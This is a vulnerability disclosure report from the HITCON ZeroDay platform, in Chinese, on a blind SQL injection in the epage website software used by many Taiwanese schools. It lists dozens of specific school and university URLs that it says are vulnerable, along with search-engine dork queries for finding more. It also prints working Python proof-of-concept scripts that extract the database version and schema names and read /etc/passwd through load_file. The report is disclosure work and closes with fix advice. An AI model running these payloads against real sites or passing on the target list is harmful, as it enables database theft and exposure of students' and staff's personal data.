Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00601
- Vendor: 使用舊版epage網站之單位
- Title: epage通用sql injection漏洞
- Introduction: 未妥善處理php序列導致SQL Injection
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2020/07/06 17:24:40 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/06 17:27:10 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/06 18:12:48 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/06 18:17:26 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/06 23:05:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/08 12:45:16 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/08 12:45:16 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/08 12:45:16 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/05 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00601
- 通報者:lebr0n_li (wqwfeoipwqjfpwiejfdpioqweoifjqwf)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
http://b001.fg.tp.edu.tw/bin/advsearch.php
http://www.fg.tp.edu.tw/bin/ptsearch.php
http://www.fg.tp.edu.tw/bin/advssearch.php
http://greenlib.fg.tp.edu.tw/bin/advsearch.php
http://greenlib.fg.tp.edu.tw/bin/ptsearch.php
http://www.ntvs.ntpc.edu.tw/bin/ptsearch.php
http://www.ntvs.ntpc.edu.tw/bin/advsearch.php
http://www.shinmin.tc.edu.tw/bin/ptsearch.php
http://www.shinmin.tc.edu.tw/bin/advsearch.php
http://nfuimem.nfu.edu.tw/bin/ptsearch.php
http://nfuimem.nfu.edu.tw/bin/advsearch.php
http://a106.ntct.edu.tw/bin/ptsearch.php
http://a106.ntct.edu.tw/bin/advsearch.php
http://www.ksvs.ttct.edu.tw/bin/ptsearch.php
http://www.ksvs.ttct.edu.tw/bin/advsearch.php
http://lib.web2.ncut.edu.tw/bin/ptsearch.php
http://lib.web2.ncut.edu.tw/bin/advsearch.php
http://www.cgsh.tc.edu.tw/bin/ptsearch.php
http://www.cgsh.tc.edu.tw/bin/advsearch.php
https://www.tlhc.ylc.edu.tw/bin/ptsearch.php
https://www.tlhc.ylc.edu.tw/bin/ptsearch.php
https://www.tlhc.ylc.edu.tw/bin/advsearch.php
https://www.tlhc.ylc.edu.tw/bin/ptsearch.php
http://www.clvsc.tyc.edu.tw/bin/ptsearch.php
http://www.clvsc.tyc.edu.tw/bin/advsearch.php
http://web.nhes.tp.edu.tw/bin/ptsearch.php
http://web.nhes.tp.edu.tw/bin/advsearch.php
http://www.kuas.edu.tw/bin/ptsearch.php
http://www.kuas.edu.tw/bin/advsearch.php
http://ee1.web2.ncut.edu.tw/ptsearch.php
http://ee1.web2.ncut.edu.tw/advsearch.php
http://study.tpml.edu.tw/bin/ptsearch.php
http://study.tpml.edu.tw/bin/advsearch.php
....
....
....
site:edu.tw inurl:ptsearch inurl:bin
site:edu.tw inurl:advsearch inurl:bin
site:edu.tw inurl:home inurl:bin (這個找出來的不一定有站內搜尋功能;而有些有站內搜尋,但貌似新版本無漏洞?請相關單位自行仔細檢查)
很多可能靠google找不到的,請相關單位幫忙聯絡
敘述
vulnerable parameter : wc
vulnerability inside Serialized array :BnDate、EdDate、Key、Sch_txt1、Sch_txt2
將單引號用來站內搜尋時發現不可注入,正準備放棄時發現搜索結果的第N頁的連結中使用了php序列
剛好最近學到php序列不安全,未檢查的情況下unserialize後會造成許多問題,甚至RCE
看了一下序列的長相是否有機可稱:
wc=a:3:{s:3:"Key";s:4:"test";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
嗯,是一個序列化過的array,裡面的key竟然是我剛才的輸入!?
試試注入單引號,失敗,準備放棄QQ
我的輸入會顯示出來......,那試試XSS好了
蛤,報錯!?原來沒有過濾雙引號啊
而且還回顯了完整的sql語句
開始閉合語句
透過構造
a:3:{s:3:"Key";s:42:""and(substring(version(),1,1)="5")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
查無資料
透過構造
a:3:{s:3:"Key";s:42:""and(substring(version(),1,1)="5")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
顯示查詢,以此類推
透過構造
a:3:{s:3:"Key";s:42:""and(substring(version(),3,1)="0")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
顯示查詢
透過構造
a:3:{s:3:"Key";s:42:""and(substring(version(),5,1)="8")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
顯示查詢
證明存在Boolean Based Blind Injection漏洞,mysql版本為5.0.8
寫poc囉(python菜雞,大神看到頭痛的話請原諒小弟XD)
還有不好意思,在markdown的環境要放python code好難,要測試的單位請自行縮排,或是聯絡我,我再寄poc給您測試
poc1 retrive database
import requests
import time
print("Blind SQL injection in php Serialize POC")
url=input("Target url:")
url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s:8:\"pagesize\";s:2:\"10\";s:3:\"Rcg\";i:0;}"
print("start parsing")
print("")
print("MYSQL version:")
for i in range(1,10,2):
for k in range(0,10):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="substring(version(),{i},1)=\"{k}\"")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合條件的資料" not in r.text):
print(k,end=".")
print("version detect complete,take a break...........")
print()
print()
time.sleep(5)
print("parsing lenth of available database..............")
all_valid_database=0
for i in range(1,50):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>0")
inject_sql= inject_sql.format(i=i)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合條件的資料" in r.text):
all_valid_database = i
print(all_valid_database)
break
print("parsing finish,take a break")
time.sleep(3)
print("start parsing available database")
print("available database:")
for i in range(1,all_valid_database):
time.sleep(2)
for k in range(32,126):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>{k}")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合條件的資料" in r.text):
if (k==44):
print(chr(k),end="")
print()
else:
print(chr(k),end="")
break
可通過poc解析server上的database名稱與版本
同理也可以進一步dump出每個欄位的資料
此外網站也有權限可以load_file(outfile試不出來,可能是沒權限或我太菜了QQ)
poc如下:
poc2 load etc/passwd
import requests
import time
print("Blind SQL injection in php Serialize POC")
url=input("Target url:")
url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s:8:\"pagesize\";s:2:\"10\";s:3:\"Rcg\";i:0;}"
print("start parsing")
print("")
all_valid_database=1436#如上一個poc的找法,但這次手動二分搜尋法xd,怕用程式跑,太密集會被server擋掉
print("start parsing available file")
print("etc/passwd:")
for i in range(1,all_valid_database):
time.sleep(2)
for k in range(32,126):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(load_file(\"/etc/passwd\"))),{i},1)))>{k}")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合條件的資料" in r.text):
print(chr(k),end="")
break
使用epage的90%是學網
若遭惡意人士利用該漏洞竊取個資或管理員密碼(本人善意測試,並未嘗試)就大事不妙了
故建議立即修補,以避免相關風險
這次的過程蠻累的,且沒辦法上sqlmap這個終極殺器,但或許這就是脫離script kiddie的必經之路啊XD,經驗無價!!!
(但廠商如果要給我感謝函或小獎金也ok喔XD)
聲明:
本人點到為止並無惡意,免費漏洞檢測的目的是幫助企業、政府機關、學校防止資安問題
並在經驗中累積個人實力
並未利用漏洞深入,請相關單位放心
若有疑慮可立即透過組織帳號與我聯繫,本人願意接受一切合法調查
修補建議
1.盡量不使用php序列
2.務必仔細過濾使用者的輸入
3.不要忘記過濾雙引號啊
4.權限不要設那麼大